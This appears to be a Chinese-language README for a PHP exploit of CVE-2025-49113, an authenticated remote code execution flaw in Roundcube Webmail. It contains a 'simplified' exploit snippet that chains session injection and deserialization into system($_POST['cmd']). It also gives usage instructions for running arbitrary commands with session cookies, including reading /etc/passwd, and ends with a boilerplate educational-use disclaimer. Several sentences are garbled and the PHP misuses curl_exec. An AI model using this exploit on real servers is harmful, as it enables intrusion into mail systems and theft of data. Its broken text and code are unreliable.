
针对Roundcube Webmail(CVE-2025-49113)的认证远程代码执行漏洞利用,通过不安全的反序列化实现。包括会话注入、小工具链传递和shell命令执行。
CVE-2025-49113 是 Roundcube Webmail 中的一个严重的不安全反序列化漏洞,可导致经过身份验证的远程代码执行。该漏洞源于文件上传操作期间对序列化 PHP 对象处理不当。
program/steps/mail/attach.inc 中_file 参数元数据时未进行适当的验证_form 参数进行 PHP 会话注入filename 参数进行恶意对象注入_form 参数注入会话操纵system() 函数执行 shell 命令// Simplified exploitation flow
$target_url = $base_url . "?_task=mail&_action=upload&_form=injected_session_data";
$post_data = [
'_file' => '{"name":"malicious_object_gadget","path":"..."}',
'file' => curl_file_create('fake.png', 'image/png', 'exploit.png')
];
$response = curl_exec($target_url, $post_data);
// Vulnerable deserialization occurs in attach.inc processing
// Gadget chain triggers command execution: system($_POST['cmd']);
php CVE-2025-49113-exploit_cookies.php <url> <cookies> <command>
| 参数 | 描述 | 示例 |
|---|---|---|
<url> | Roundcube 安装的基础 URL | https://mail.example.com/roundcube/ |
<cookies> | 有效的会话 Cookie | roundcube_sessid=abc123; roundcube_sessauth=xyz456 |
<command> | 要执行的系统命令 | id 或 whoami |
php CVE-2025-49113-exploit_cookies.php \
https://mail.example.com/roundcube/ \
"roundcube_sessid=abc123; roundcube_sessauth=xyz456" \
"cat /etc/passwd"
此信息仅供教育目的使用。未经明确许可对系统进行未授权测试属于违法行为。在进行安全评估之前,务必获得适当的授权。作者和发布者不对任何滥用此信息的行为承担责任。